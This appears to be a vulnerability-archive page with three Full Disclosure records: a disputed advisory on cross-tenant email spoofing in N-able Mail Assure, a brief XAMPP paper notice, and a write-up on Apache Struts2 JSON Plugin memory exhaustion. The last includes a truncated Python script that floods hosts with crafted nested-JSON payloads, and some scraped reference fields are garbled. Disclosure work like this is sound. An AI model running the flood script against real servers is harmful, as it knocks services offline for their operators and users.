- GNA identifier
- GNA-1988 GCVE registry Recent publications
Recent vulnerabilities
581 GCVE records assigned by this organization as GNA-1988GCVE-1988-2026-0512
Vulnerability from gna-1988 – Published: 2026-11-02 08:33 – Updated: 2026-11-02 08:33
VLAI
EPSS
VEX
Title
CVE-2025-68624: Cross-Tenant Authentication Bypass by Spoofing in N-able Mail Assure
Summary
CVE-2025-68624: Cross-Tenant Authentication Bypass by Spoofing in N-able Mail Assure
CVE ID: CVE-2025-68624
Status: DISPUTED
CWE: CWE-290 (Authentication Bypass by Spoofing)
Affected Product: N-able Mail Assure (formerly SolarWinds MSP Mail Assure)
Affected Service: N-able Mail Assure cloud-based multi-tenant SMTP relay infrastructure
Vendor: N-able Technologies
Initial Discovery: October 2018
Public Disclosure: November 2025, DeepSec Vienna 2025
CVE Assignment: May 2026, following MITRE TL-Root dispute review
== Description ==
N-able Mail Assure contains a design-level authorization flaw that allows an authenticated SMTP user from one tenant to
submit outbound email using sender addresses belonging to other unrelated tenants hosted on the same platform.
When connecting to the N-able Mail Assure SMTP relay and authenticating with valid credentials, the service accepts
sender domains that are not bound to, delegated to, or otherwise authorized for the authenticated account. As a result,
an authenticated user from Tenant A can submit email using a sender address belonging to Tenant B, despite there being
no administrative relationship, consent, or delegation between the two tenants.
In the observed tests, the SMTP relay verified that the user had valid credentials, but did not verify that the
authenticated identity was authorized to submit mail for the claimed sender domain.
Where the claimed sender domain authorizes the Mail Assure relay infrastructure in SPF and the message uses an aligned
RFC5322.From domain, the resulting message can pass SPF and DMARC validation at the receiving MTA, including for
domains configured with strict DMARC enforcement.
The root cause is a missing sender-domain authorization check at SMTP submission time.
== Impact ==
An authenticated Mail Assure user may be able to impersonate other domains hosted on the Mail Assure platform.
In the observed test case, this produced messages that:
- Passed SPF validation at the receiving MTA
- Passed DMARC validation
- Appeared as authenticated mail to the recipient environment
- Bypassed the protection expected from strict DMARC policies
This issue may enable phishing, Business Email Compromise (BEC), vendor impersonation, and other social engineering
attacks against organizations that believe their domains are protected by correctly configured SPF and DMARC policies.
A March 2025 analysis documented in the accompanying technical paper identified approximately 17,000 domains relying on
the Mail Assure platform.
== Proof of Concept Summary ==
The issue was validated using legitimate Mail Assure credentials from a tenant controlled by the researchers.
A controlled test showed that an authenticated account belonging to one Mail Assure tenant could submit an outbound
message using a sender address belonging to a different, unaffiliated Mail Assure tenant domain.
Observed result:
- Authentication: valid credentials from Tenant A
- Claimed sender domain: Tenant B, unaffiliated with Tenant A
- SMTP result: message accepted for delivery
- Recipient environment: Microsoft 365
- Authentication result: SPF PASS and DMARC PASS
- Target domain policy: strict DMARC enforcement
Full SMTP session transcript, screenshots, and supporting evidence are documented in the technical paper (pages 33-36).
No credentials, tokens, private user data, or mailbox contents are published in this advisory. No harm was caused to
any third-party domain or its users.
== Disclosure Timeline ==
October 2018 Vulnerability discovered during a penetration test and reported to SolarWinds security contacts.
2018-2024 Issue remained unresolved despite prior notification.
March 2025 Retest performed and issue confirmed as still exploitable.
November 2025 Public disclosure presented at DeepSec Vienna 2025.
December 2025 CVE request submitted to MITRE under Service Request #1964945.
January 2026 N-able PSIRT contacted during the CVE request process. N-able disputed the vulnerability
classification.
Jan-April 2026 CVE dispute process conducted by MITRE TL-Root.
April 2026 N-able confirmed the cross-tenant sender behavior in correspondence with MITRE TL-Root.
May 2026 MITRE TL-Root determined that the issue meets CVE assignment criteria. CVE-2025-68624 assigned with
the DISPUTED tag.
== Vendor Response ==
N-able disputes that the reported behavior constitutes a security vulnerability.
N-able's position is that the behavior is intended functionality of its shared SMTP relay architecture and that the
service does not represent that it enforces per-tenant sender-domain binding.
The CVE record carries the DISPUTED tag to reflect the vendor's position.
== Recommended Mitigation ==
The SMTP relay should enforce sender-domain authorization at submission time.
Recommended controls include:
- Bind authenticated accounts to the domains they are authorized to send from
- Reject outbound messages where the authenticated identity is not authorized for the claimed MAIL FROM and
RFC5322.From domains
- Require explicit delegation before allowing cross-domain sending
- Log and alert on attempted unauthorized cross-tenant sender-domain usage
- Provide tenant administrators with visibility into authorized sender domains and attempted violations
== References ==
- Technical paper, DeepSec Vienna 2025, Infinity-Day at Scale: Hijacking Registrars, Defeating 2FA and Spoofing 17,000+
Domains:
https://github.com/alessandrobertoldi/research/blob/main/infinity-day-at-scale-deepsec2025.pdf
- Advisory (GitHub Gist):
https://gist.github.com/alessandrobertoldi/1ebe0f48aa0119d787ac0ff710057d92
- N-able Mail Assure product page:
https://www.n-able.com/products/mail-assure
- CVE record:
https://www.cve.org/CVERecord?id=CVE-2025-68624
== Credits ==
Discovered and reported by:
Alessandro Bertoldi, Bertoldi Cybersecurity
https://bcsec.io/eng.html
https://linkedin.com/in/bertoldicybersecurity
Co-author:
Enrico Bertoldi, Bertoldi Cybersecurity
https://bcsec.io/eng.html
Original 2018 disclosure:
Bertoldi Cybersecurity Team
"Empowering your business with cutting-edge cybersecurity solutions,
safeguarding your digital assets and ensuring a seamless, secure experience for your customers."
BertoldiCybersecurity
Alessandro Bertoldi
Owner
T. +39 0185 799079
M. +39 348 5130136
E-Mail alessandro () bertoldicybersecurity com
www.bertoldicybersecurity.comhttps://bcsec.io
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
References
11 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| N-able | Mail Assure |
Affected:
unknown
|
Relationships
analysis
GCVE-1988-2026-0512 (this record)
- related CVE-2025-68624
{
"containers": {
"cna": {
"affected": [
{
"product": "Mail Assure",
"vendor": "N-able",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Alessandro Bertoldi BCS via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "CVE-2025-68624: Cross-Tenant Authentication Bypass by Spoofing in N-able Mail Assure\n\nCVE ID: CVE-2025-68624\nStatus: DISPUTED\nCWE: CWE-290 (Authentication Bypass by Spoofing)\nAffected Product: N-able Mail Assure (formerly SolarWinds MSP Mail Assure)\nAffected Service: N-able Mail Assure cloud-based multi-tenant SMTP relay infrastructure\nVendor: N-able Technologies\nInitial Discovery: October 2018\nPublic Disclosure: November 2025, DeepSec Vienna 2025\nCVE Assignment: May 2026, following MITRE TL-Root dispute review\n\n\n== Description ==\n\nN-able Mail Assure contains a design-level authorization flaw that allows an authenticated SMTP user from one tenant to \nsubmit outbound email using sender addresses belonging to other unrelated tenants hosted on the same platform.\n\nWhen connecting to the N-able Mail Assure SMTP relay and authenticating with valid credentials, the service accepts \nsender domains that are not bound to, delegated to, or otherwise authorized for the authenticated account. As a result, \nan authenticated user from Tenant A can submit email using a sender address belonging to Tenant B, despite there being \nno administrative relationship, consent, or delegation between the two tenants.\n\nIn the observed tests, the SMTP relay verified that the user had valid credentials, but did not verify that the \nauthenticated identity was authorized to submit mail for the claimed sender domain.\n\nWhere the claimed sender domain authorizes the Mail Assure relay infrastructure in SPF and the message uses an aligned \nRFC5322.From domain, the resulting message can pass SPF and DMARC validation at the receiving MTA, including for \ndomains configured with strict DMARC enforcement.\n\nThe root cause is a missing sender-domain authorization check at SMTP submission time.\n\n\n== Impact ==\n\nAn authenticated Mail Assure user may be able to impersonate other domains hosted on the Mail Assure platform.\n\nIn the observed test case, this produced messages that:\n\n- Passed SPF validation at the receiving MTA\n- Passed DMARC validation\n- Appeared as authenticated mail to the recipient environment\n- Bypassed the protection expected from strict DMARC policies\n\nThis issue may enable phishing, Business Email Compromise (BEC), vendor impersonation, and other social engineering \nattacks against organizations that believe their domains are protected by correctly configured SPF and DMARC policies.\n\nA March 2025 analysis documented in the accompanying technical paper identified approximately 17,000 domains relying on \nthe Mail Assure platform.\n\n\n== Proof of Concept Summary ==\n\nThe issue was validated using legitimate Mail Assure credentials from a tenant controlled by the researchers.\n\nA controlled test showed that an authenticated account belonging to one Mail Assure tenant could submit an outbound \nmessage using a sender address belonging to a different, unaffiliated Mail Assure tenant domain.\n\nObserved result:\n\n- Authentication: valid credentials from Tenant A\n- Claimed sender domain: Tenant B, unaffiliated with Tenant A\n- SMTP result: message accepted for delivery\n- Recipient environment: Microsoft 365\n- Authentication result: SPF PASS and DMARC PASS\n- Target domain policy: strict DMARC enforcement\n\nFull SMTP session transcript, screenshots, and supporting evidence are documented in the technical paper (pages 33-36).\n\nNo credentials, tokens, private user data, or mailbox contents are published in this advisory. No harm was caused to \nany third-party domain or its users.\n\n\n== Disclosure Timeline ==\n\nOctober 2018 Vulnerability discovered during a penetration test and reported to SolarWinds security contacts.\n2018-2024 Issue remained unresolved despite prior notification.\nMarch 2025 Retest performed and issue confirmed as still exploitable.\nNovember 2025 Public disclosure presented at DeepSec Vienna 2025.\nDecember 2025 CVE request submitted to MITRE under Service Request #1964945.\nJanuary 2026 N-able PSIRT contacted during the CVE request process. N-able disputed the vulnerability \nclassification.\nJan-April 2026 CVE dispute process conducted by MITRE TL-Root.\nApril 2026 N-able confirmed the cross-tenant sender behavior in correspondence with MITRE TL-Root.\nMay 2026 MITRE TL-Root determined that the issue meets CVE assignment criteria. CVE-2025-68624 assigned with \nthe DISPUTED tag.\n\n\n== Vendor Response ==\n\nN-able disputes that the reported behavior constitutes a security vulnerability.\n\nN-able\u0027s position is that the behavior is intended functionality of its shared SMTP relay architecture and that the \nservice does not represent that it enforces per-tenant sender-domain binding.\n\nThe CVE record carries the DISPUTED tag to reflect the vendor\u0027s position.\n\n\n== Recommended Mitigation ==\n\nThe SMTP relay should enforce sender-domain authorization at submission time.\n\nRecommended controls include:\n\n- Bind authenticated accounts to the domains they are authorized to send from\n- Reject outbound messages where the authenticated identity is not authorized for the claimed MAIL FROM and \nRFC5322.From domains\n- Require explicit delegation before allowing cross-domain sending\n- Log and alert on attempted unauthorized cross-tenant sender-domain usage\n- Provide tenant administrators with visibility into authorized sender domains and attempted violations\n\n\n== References ==\n\n- Technical paper, DeepSec Vienna 2025, Infinity-Day at Scale: Hijacking Registrars, Defeating 2FA and Spoofing 17,000+ \nDomains:\n https://github.com/alessandrobertoldi/research/blob/main/infinity-day-at-scale-deepsec2025.pdf\n- Advisory (GitHub Gist):\n https://gist.github.com/alessandrobertoldi/1ebe0f48aa0119d787ac0ff710057d92\n- N-able Mail Assure product page:\n https://www.n-able.com/products/mail-assure\n- CVE record:\n https://www.cve.org/CVERecord?id=CVE-2025-68624\n\n\n== Credits ==\n\nDiscovered and reported by:\nAlessandro Bertoldi, Bertoldi Cybersecurity\nhttps://bcsec.io/eng.html\nhttps://linkedin.com/in/bertoldicybersecurity\n\nCo-author:\nEnrico Bertoldi, Bertoldi Cybersecurity\nhttps://bcsec.io/eng.html\n\nOriginal 2018 disclosure:\nBertoldi Cybersecurity Team\n\n\n\"Empowering your business with cutting-edge cybersecurity solutions, \nsafeguarding your digital assets and ensuring a seamless, secure experience for your customers.\"\nBertoldiCybersecurity\nAlessandro Bertoldi\n\nOwner\nT. +39 0185 799079\n\nM. +39 348 5130136\nE-Mail alessandro () bertoldicybersecurity com\nwww.bertoldicybersecurity.comhttps://bcsec.io\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-290",
"description": "CWE-290",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T08:33:22Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/10"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Jun/10"
},
{
"url": "https://bcsec.io"
},
{
"url": "https://bcsec.io/eng.html"
},
{
"url": "https://gist.github.com/alessandrobertoldi/1ebe0f48aa0119d787ac0ff710057d92"
},
{
"url": "https://github.com/alessandrobertoldi/research/blob/main/infinity-day-at-scale-deepsec2025.pdf"
},
{
"url": "https://linkedin.com/in/bertoldicybersecurity"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.cve.org/CVERecord?id=CVE-2025-68624"
},
{
"url": "https://www.n-able.com/products/mail-assure"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Jun/10"
],
"discovery": "EXTERNAL"
},
"title": "CVE-2025-68624: Cross-Tenant Authentication Bypass by Spoofing in N-able Mail Assure",
"x_gcve": [
{
"recordType": "analysis",
"relationships": [
{
"destId": "CVE-2025-68624",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0512",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/10",
"automated": true,
"contentSha256": "7ed8a00852a83602373fa7f4bfda95640e10e3a73b646f032710955300e81e8d",
"evidenceScore": 10,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Jun/10",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-06-15T19:51:28Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0512"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-02T08:33:22Z",
"dateUpdated": "2026-11-02T08:33:22Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0512"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0511
Vulnerability from gna-1988 – Published: 2026-11-02 08:13 – Updated: 2026-11-02 08:13
VLAI
EPSS
VEX
Title
Paper-Exploiting XAMPP Installations
Summary
Hi. I would like to publish my paper for exploiting XAMPP installations.
Thanks,
Andrey
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-description |
| https://seclists.org/fulldisclosure/2026/Jan/28 | technical-description |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | Paper-Exploiting XAMPP Installations |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "Paper-Exploiting XAMPP Installations",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Andrey Stoykov"
}
],
"descriptions": [
{
"lang": "en",
"value": "Hi. I would like to publish my paper for exploiting XAMPP installations.\n\nThanks,\nAndrey\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T08:13:17Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/28"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Jan/28"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Jan/28"
],
"discovery": "EXTERNAL"
},
"title": "Paper-Exploiting XAMPP Installations",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0511",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/28",
"automated": true,
"contentSha256": "c48c3ddf86303e010b37b332ce651c556a21aabcc6ae0e0fc863495c009d3109",
"evidenceScore": 5,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/28",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-01-24T10:42:15Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-02T08:13:17Z",
"dateUpdated": "2026-11-02T08:13:17Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0511"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0510
Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
EPSS
VEX
Title
Maximised JSON Array Attacks -- "Let the Commas Hit the Floor" Proof of Concept
Summary
On 29 August 2026, we released "Commas of D00m" -- an old proof of concept that demonstrates unconstrained resource
consumption in many JSON parsers. As recently discussed (in "Continued Apache Struts2 JSON Plugin Insecure
Deserialisation"), the Apache Struts2 JSON Plugin's S2-072 and prior code changes fail to sufficiently protect against
this style of attack. In that write-up, we examined the code and the underlying, incomplete fixes, as well as marched
through a series of basic mathematical analyses that illustrated the point - showing how a single <2MB JSON string can
consume more than 10 times that in RAM and how, when run with rather modest concurrency, such a request can consume
more than a GB of RAM.
As discussed in that write-up, for the sake of simplicity, an array-of-arrays of only 2 levels deep was chosen for the
discussion, with several payload options discussed (and the desired end goal -- consumption of excessive CPU for a
little less memory, shorter payloads, or more extreme memory consumption). The following is the more "memory-hungry",
more complex approach that better maximises the 2MB character length limit that the Apache Struts2 JSON Plugin applies
(realistically, using an array-of-arrays of just 2 levels deep, the string can be under 1MB and consume over 40MB of
RAM on a single query -- some queries can even get over 80GB per-request, but we'll save that as an exercise for the
reader).
The Approach
A JSON nested JSON array with the following dimensions:
* Level 0 (root): an array with exactly 2 children
* Level 1: each of the children from the above array contains an array with exactly 8,256 children (a total of
16,512 elements, at the moment)
* Levels 2-63: each of those 16,512 elements is a chain of 62 nested single-child arrays (`[[[[...]]]]`), with each
level holding exactly one element
* Leaf: each chain terminates in an empty String `""`
Total: 16,512 chains, each exactly 62 singleton-array levels deep, fed by a 2 * 8256 fan-out at the top
Analysis
A single array can hold at most 10,000 direct children (`maxElements`), so an array-of-arrays with no other content
will use 1,290,001 characters (of the 2,097,152 maximum) and consume roughly 48.6MB, leaving 807,151 characters unused
simply because the depth and breadth limiters. This means that, without having any "content" other than arrays, we can
consume almost 50MB on a single request, which is pretty good considering we are only using ~1.3 million of the ~2
million character budget. A massive array-of-arrays with no actual data, though, is fairly noisy and, frankly, 50MB is
small peanuts compared to what we can get with just a little bit of data.
Before we go further, we need to discuss something that was mentioned in the last write-up but that needs a little more
explanation. Java's default ArrayList capacity (which is the maximum number of elements that it can house and
shouldn't be conflated with "size") is 10. Most developers don't change this value and neither does the Apache Struts2
JSON Plugin. The cost of this, however, is not incurred, to its fullest, until the first `add(Object)` call is made --
once that happens, the backing array is allocated, costing 56 bytes (double that if not using the compressed oops, as
discussed in the previous write-up). After the first `add(Object)` call is made, the total cost of the ArrayList is 80
bytes (for simplicity's sake, we're going to stick with the compressed oops and lowest possible values throughout the
rest of this work -- this value can be more depending on the environment) regardless of if the array has 1 or 10
elements in it (we'll ignore the automatic resizing in making that statement, just for the sake of argument). This
means that for the cost of simply two characters -- `[` and `]`, which is just two bytes in our input, we cost the
server 80 bytes (which is 40 bytes/input character -- a massive win for the attacker). The next best that we can do is
an empty String, which has a 20 bytes/input character pay-off, which is significantly worse. Adding elements to the
array costs us at least one character -- `,` -- but we only see the ArrayList grow at key intervals, so it actually has
a slightly worse bytes/input character pay-off overall.
Looking at the problem, we have ample room sideways -- 10,000 units left and right per element -- but are constrained
along the y-axis by the 64-depth limit. As width doesn't immediately equal a significant number of bytes consumed
since the cost is stepped, it's best to go n-1 deep and then fill out the leaves, which means that we get maximum usage
-- 82,785,552 bytes of RAM consumed on a single request (assume 64-bit HotSpot JVM running with compressed oops and
8-byte alignment -- a standard configuration set) -- in the manner described in the above "The Approach" section.
In other words, by fanning out into empty Strings and using 40 concurrent requests, we can consume ~3.31GB of RAM on
the host and maximise the 2MB input limit that Apache has put in place.
The Maths
* ArrayList: ~24B + backing Object array of capacity n
* Backing array: 16B + 4nB (rounded to 8 bytes by the JVM)
* On first `add(Object)` call, the backing array goes to 56B
* If hit rapidly and concurrently, garbage collection will not run (we'll take the worst case scenario, here,
for simplicity), so growing an array to 10,000 elements (14,053 capacity) costs 168,944 bytes in backing arrays
* One singleton-chain level: 80B / 2 input characters = 40 bytes/input character
* One chain (62 levels + leaf): (62B * 80B) + 40B = 5,000B for (62 * 2) + 2 characters -- 126 characters (39.68
bytes/input character)\
* 16,512 chains: 82,560,000B
* two 8,256-wide level-2 arrays: 2 * 112,736 = 225,472B
* 2-wide root: 80B
Add it all up and you get 82,785,552B on a single request. Multiply that by 40 (40 concurrent requests) and you have
~3.31GB residing in memory at any given time. Stepped attacks, especially if paired with high-compute requests (again,
boxing and unboxing requests are a great option), can dramatically increase that while allowing the attacker to
decrease the number of requests/second. Note that we leave such a trivial tweak to the PoC to the reader.
The Script
The following is a modernised version of Commas of D00m known as "Let the Commas Hit the Floor".
```python
#!/usr/bin/python3
# ---
# name: Nested-array depth overflow tester
# category: Testing and scanning
# tags: dos, payload, nested-array, recursion-depth, stack-overflow, json, flood, load, http
# description: Floods a host with concurrent deeply nested JSON arrays (2 root children x 8,256 nested children,
# each a 62-level chain of single-element arrays terminating in an empty string) to probe JSON parser
# recursion/stack-depth limits.
# placeholders:
# - token: "@@HOSTS@@"
# field: hosts
# kind: list
# format: python
# label: Hosts
# - token: "@@CONTENT_TYPE@@"
# field: content_type
# kind: text
# label: Content-Type
# default: application/json
# - token: "@@PATH@@"
# field: path
# kind: text
# label: Request path
# optional: true
# default: /
# - token: "@@HEADERS@@"
# field: headers
# kind: map
# format: python
# label: Extra headers, like the cookie and authorisation headers
# optional: true
# - token: "@@PARALLEL_COUNT@@"
# field: parallel_count
# kind: text
# label: Parallel count (concurrent threads)
# optional: true
# default: 40
# - token: "@@TOTAL_CONNECTIONS@@"
# field: total_number_of_connections
# kind: text
# label: Total connections
# optional: true
# default: 1000
# - token: "@@RECREATE_PAYLOAD@@"
# field: recreate_payload
# kind: text
# label: Recreate payload file (true/false)
# optional: true
# default: true
# - token: "@@PAYLOAD_FILE@@"
# field: payload_file
# kind: text
# label: Payload file
# optional: true
# default: prebuilt_payload_tmp
# - token: "@@ROOT_CHILDREN@@"
# field: root_children
# kind: text
# label: Root array children
# optional: true
# default: 2
# - token: "@@LEVEL2_CHILDREN@@"
# field: level2_children
# kind: text
# label: Level-2 array children (per root child)
# optional: true
# default: 8256
# - token: "@@CHAIN_DEPTH@@"
# field: chain_depth
# kind: text
# label: Nested single-child array chain depth (per slot)
# optional: true
# default: 62
# - token: "@@LEAF_VALUE@@"
# field: leaf_value
# kind: text
# label: Leaf value (terminates each chain)
# optional: true
# default:
# - token: "@@REQUEST_TIMEOUT@@"
# field: request_timeout
# kind: text
# label: Per-request timeout in seconds
# optional: true
# default: 10
# ---
"""Flood a host with deeply nested JSON arrays to probe recursion/stack-depth limits.
Builds a JSON array shaped as: a root array of 2 children, each a level-2 array of
8,256 children (16,512 slots total), where each slot is a chain of 62 nested
single-child arrays terminating in an empty-string leaf. This shape stresses a
server-side JSON parser's recursion/stack handling without relying on one single
pathologically deep structure. Fires the payload at each host with a configurable
amount of concurrency, tallying the status codes seen (413s and 5xx especially) and
logging any 5xx bodies to ``request-responses.txt``. A Content-Type and at least one
host are required.
Usage:
python script.py
"""
import concurrent.futures
import json
import os
import time
from datetime import datetime, timezone
import requests
# REPLACE/ADJUST THESE
config = {
'hosts': @@HOSTS@@,
'paths': ['@@PATH@@' or '/'],
'content_type': '@@CONTENT_TYPE@@' or 'application/json',
'extra_headers': @@HEADERS@@,
'parallel_count': int('@@PARALLEL_COUNT@@' or 40),
'total_number_of_connections': int('@@TOTAL_CONNECTIONS@@' or 1000),
'request_timeout': float('@@REQUEST_TIMEOUT@@' or 10),
# Data for the payload generation
'recreate_payload': ('@@RECREATE_PAYLOAD@@' or 'true').strip().lower() in ('1', 'true', 'yes'),
'payload_file': '@@PAYLOAD_FILE@@' or 'prebuilt_payload_tmp',
'root_children': int('@@ROOT_CHILDREN@@' or 2),
'level2_children': int('@@LEVEL2_CHILDREN@@' or 8256),
'chain_depth': int('@@CHAIN_DEPTH@@' or 62),
'leaf_value': '@@LEAF_VALUE@@',
}
if not config['hosts']:
raise ValueError('At least one host is required.')
def count_status_codes(responses, url):
"""
Walks through the responses, logs any 5xx bodies (labelled with ``url`` so
multi-host runs stay attributable), and counts the status codes
Args:
responses (list[Response]): List of response objects
url (str): The URL these responses came from
Returns:
dict: A dictionary with counts for each of the status codes that we monitor
"""
five_xx_responses = [r for r in responses if r is not None and 500 <= r.status_code < 600]
if five_xx_responses:
try:
with open('request-responses.txt', 'a', encoding='utf-8', errors='replace') as f:
for response in five_xx_responses:
f.write(f"Response from {url}:\n")
for header, value in response.headers.items():
f.write(f"{header}: {value}\n")
f.write(f"{response.text}\n")
f.write("-" * 50 + "\n")
print(f"Successfully wrote {len(five_xx_responses)} response(s) to request-responses.txt")
except Exception as e:
print(f"Error writing to file: {str(e)}")
return {
'2xx': len([r for r in responses if r is not None and 200 <= r.status_code < 300]),
'4xx': len([r for r in responses if r is not None and 400 <= r.status_code < 500]),
'40
Severity
No CVSS data available.
Assigner
References
7 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-descriptionexploit |
| https://seclists.org/fulldisclosure/2026/Oct/50 | technical-description |
| http://&apos | |
| https://&apos | |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ | |
| https://{host.rstrip |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | Maximised JSON Array |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "Maximised JSON Array",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Daniel Owens via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "On 29 August 2026, we released \"Commas of D00m\" -- an old proof of concept that demonstrates unconstrained resource \nconsumption in many JSON parsers. As recently discussed (in \"Continued Apache Struts2 JSON Plugin Insecure \nDeserialisation\"), the Apache Struts2 JSON Plugin\u0027s S2-072 and prior code changes fail to sufficiently protect against \nthis style of attack. In that write-up, we examined the code and the underlying, incomplete fixes, as well as marched \nthrough a series of basic mathematical analyses that illustrated the point - showing how a single \u003c2MB JSON string can \nconsume more than 10 times that in RAM and how, when run with rather modest concurrency, such a request can consume \nmore than a GB of RAM.\n\nAs discussed in that write-up, for the sake of simplicity, an array-of-arrays of only 2 levels deep was chosen for the \ndiscussion, with several payload options discussed (and the desired end goal -- consumption of excessive CPU for a \nlittle less memory, shorter payloads, or more extreme memory consumption). The following is the more \"memory-hungry\", \nmore complex approach that better maximises the 2MB character length limit that the Apache Struts2 JSON Plugin applies \n(realistically, using an array-of-arrays of just 2 levels deep, the string can be under 1MB and consume over 40MB of \nRAM on a single query -- some queries can even get over 80GB per-request, but we\u0027ll save that as an exercise for the \nreader).\n\nThe Approach\nA JSON nested JSON array with the following dimensions:\n\n * Level 0 (root): an array with exactly 2 children\n * Level 1: each of the children from the above array contains an array with exactly 8,256 children (a total of \n16,512 elements, at the moment)\n * Levels 2-63: each of those 16,512 elements is a chain of 62 nested single-child arrays (`[[[[...]]]]`), with each \nlevel holding exactly one element\n * Leaf: each chain terminates in an empty String `\"\"`\nTotal: 16,512 chains, each exactly 62 singleton-array levels deep, fed by a 2 * 8256 fan-out at the top\n\nAnalysis\nA single array can hold at most 10,000 direct children (`maxElements`), so an array-of-arrays with no other content \nwill use 1,290,001 characters (of the 2,097,152 maximum) and consume roughly 48.6MB, leaving 807,151 characters unused \nsimply because the depth and breadth limiters. This means that, without having any \"content\" other than arrays, we can \nconsume almost 50MB on a single request, which is pretty good considering we are only using ~1.3 million of the ~2 \nmillion character budget. A massive array-of-arrays with no actual data, though, is fairly noisy and, frankly, 50MB is \nsmall peanuts compared to what we can get with just a little bit of data.\n\nBefore we go further, we need to discuss something that was mentioned in the last write-up but that needs a little more \nexplanation. Java\u0027s default ArrayList capacity (which is the maximum number of elements that it can house and \nshouldn\u0027t be conflated with \"size\") is 10. Most developers don\u0027t change this value and neither does the Apache Struts2 \nJSON Plugin. The cost of this, however, is not incurred, to its fullest, until the first `add(Object)` call is made -- \nonce that happens, the backing array is allocated, costing 56 bytes (double that if not using the compressed oops, as \ndiscussed in the previous write-up). After the first `add(Object)` call is made, the total cost of the ArrayList is 80 \nbytes (for simplicity\u0027s sake, we\u0027re going to stick with the compressed oops and lowest possible values throughout the \nrest of this work -- this value can be more depending on the environment) regardless of if the array has 1 or 10 \nelements in it (we\u0027ll ignore the automatic resizing in making that statement, just for the sake of argument). This \nmeans that for the cost of simply two characters -- `[` and `]`, which is just two bytes in our input, we cost the \nserver 80 bytes (which is 40 bytes/input character -- a massive win for the attacker). The next best that we can do is \nan empty String, which has a 20 bytes/input character pay-off, which is significantly worse. Adding elements to the \narray costs us at least one character -- `,` -- but we only see the ArrayList grow at key intervals, so it actually has \na slightly worse bytes/input character pay-off overall.\n\nLooking at the problem, we have ample room sideways -- 10,000 units left and right per element 